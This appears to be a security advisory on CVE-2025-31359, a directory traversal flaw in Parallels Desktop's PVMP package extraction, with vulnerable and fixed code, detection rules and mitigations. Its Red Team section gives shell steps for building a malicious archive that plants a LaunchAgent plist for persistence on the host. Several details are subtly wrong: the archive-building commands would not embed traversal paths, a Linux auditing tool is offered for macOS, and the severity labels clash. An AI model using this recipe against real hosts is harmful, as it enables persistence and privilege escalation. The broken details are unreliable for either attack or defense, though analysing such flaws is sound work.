CVE-2025-31359

Executive Summary

CVE-2025-31359 is a high-severity directory traversal vulnerability in Parallels Desktop for Mac version 20.2.2 (55879). The flaw resides in the PVMP package unpacking functionality, allowing an attacker to write arbitrary files to the host system. This can lead to privilege escalation from a guest VM to the host macOS environment. The vulnerability has a CVSS score of 8.8, indicating critical impact, though no public exploit code or patch is currently available. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the risk remains significant due to the potential for full host compromise.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the guest VM.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – Affects host beyond the guest.
• Confidentiality (C): High (H) – Potential host data exposure.
• Integrity (I): High (H) – Arbitrary file write.
• Availability (A): High (H) – Could disrupt host operations.

Threat Level: Critical. Exploitation could allow a guest VM user to escape the sandbox and gain root-level access to the host macOS system.

Deep Dive & Mechanics

The vulnerability exists in the PVMP (Parallels Virtual Machine Package) unpacking routine. When a user or automated process extracts a PVMP package (e.g., during VM import or update), the software fails to properly sanitize file paths within the archive. An attacker can craft a malicious PVMP file containing path traversal sequences (e.g., ../../) in filenames. During extraction, these sequences are not neutralized, allowing files to be written outside the intended destination directory.

Attack Scenario:

1. An attacker with access to a guest VM (or who can trick a user into importing a malicious PVMP) creates a specially crafted archive.
2. The archive contains files with paths like ../../Library/LaunchAgents/com.evil.plist.
3. When Parallels Desktop extracts the PVMP, it writes the file to the host's LaunchAgents directory.
4. On next login, the plist executes, granting the attacker persistence and potential privilege escalation.

Root Cause: Lack of path validation in the PVMP extraction logic. The software does not check for ../ sequences or enforce that extracted files remain within the target directory.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def extract_pvmp(archive, target_dir):
    for entry in archive:
        # No path validation
        full_path = os.path.join(target_dir, entry.name)
        os.makedirs(os.path.dirname(full_path), exist_ok=True)
        with open(full_path, 'wb') as f:
            f.write(entry.data)

Patched Code (Expected):

import os

def extract_pvmp(archive, target_dir):
    target_dir = os.path.realpath(target_dir)
    for entry in archive:
        # Resolve and validate path
        full_path = os.path.realpath(os.path.join(target_dir, entry.name))
        if not full_path.startswith(target_dir):
            raise SecurityException("Path traversal detected")
        os.makedirs(os.path.dirname(full_path), exist_ok=True)
        with open(full_path, 'wb') as f:
            f.write(entry.data)

The patched version uses os.path.realpath() to resolve symlinks and .. sequences, then checks that the resulting path is within the target directory.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Host: macOS Ventura/Sonoma
• Hypervisor: Parallels Desktop 20.2.2 (55879)
• Guest: Any VM (e.g., Ubuntu 22.04)

Exploitation Steps:

1. Create a malicious PVMP archive with path traversal:

   # Create a malicious file structure
   mkdir -p malicious_pvmp/../../Library/LaunchAgents
   echo '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
   <plist version="1.0">
   <dict>
       <key>Label</key>
       <string>com.evil</string>
       <key>ProgramArguments</key>
       <array>
           <string>/bin/bash</string>
           <string>-c</string>
           <string>echo "pwned" > /tmp/pwned</string>
       </array>
       <key>RunAtLoad</key>
       <true/>
   </dict>
   </plist>' > malicious_pvmp/../../Library/LaunchAgents/com.evil.plist
   
   # Package into PVMP (assuming PVMP is a tar-like format)
   tar -czf exploit.pvmp malicious_pvmp
   

2. Transfer exploit.pvmp to the host (e.g., via shared folder or download).
3. Import the PVMP in Parallels Desktop (e.g., via File > Import).
4. On next user login, the plist executes, demonstrating arbitrary file write.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor for unusual file writes outside the Parallels VM directory:

   # Audit file creation events
   sudo auditctl -w /Users/ -p wa -k parallels_write
   

2. Check for suspicious LaunchAgents/Library files:

   ls -la /Library/LaunchAgents/ | grep -v com.apple
   

3. Review Parallels logs for extraction errors:

   grep -i "extract\|pvmp\|traversal" /Library/Logs/parallels.log
   

Mitigation:

• Disable automatic PVMP import if not needed.
• Use endpoint detection and response (EDR) to monitor for path traversal patterns.
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /Library/LaunchAgents/, /Library/LaunchDaemons/, or /Users/Shared/ with suspicious names.
  • Files with path traversal patterns in Parallels VM directories (e.g., ../../ in filenames).
• Network: No network IOCs expected (local exploitation).
• Process: Parallels Desktop process (prl_disp_service) performing unusual file writes.
• Logs: Parallels logs containing errors like "path traversal" or "invalid path".

Detection Engineering

YARA Rule

rule CVE_2025_31359_Parallels_Path_Traversal {
    meta:
        description = "Detects path traversal patterns in PVMP archives targeting Parallels Desktop"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31359"
    strings:
        $traversal1 = /\.\.\/[^\/]/ 
        $traversal2 = /\.\.\\[^\\]/
        $pvmp_magic = { 50 56 4D 50 } // "PVMP" magic bytes
    condition:
        $pvmp_magic and ($traversal1 or $traversal2)
}

Sigma Rule

title: Parallels Desktop PVMP Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-31359 via path traversal in PVMP extraction
author: Valters IT
date: 2025-04-10
logsource:
    product: macos
    service: auditd
detection:
    selection:
        EventID: 7
        FileName|contains: 
            - '..\/'
            - '..\\'
            - '/../'
            - '\..\'
    condition: selection
falsepositives:
    - Legitimate software updates using similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31359 Parallels PVMP Path Traversal"; flow:to_server,established; content:"PVMP"; nocase; content:"../"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PVMP import if not required: Remove file associations or restrict import via Group Policy.
2. Monitor for suspicious files in sensitive directories (LaunchAgents, LaunchDaemons, etc.).
3. Apply vendor patch when released (check Parallels support portal regularly).

Long-term Fix:

• Upgrade to a patched version of Parallels Desktop once available.
• Implement file integrity monitoring (FIM) on host systems.
• Use sandboxing or application control to limit Parallels Desktop's write permissions.

Workaround:

• Avoid importing PVMP files from untrusted sources.
• Use manual VM creation instead of importing packages.

Valters IT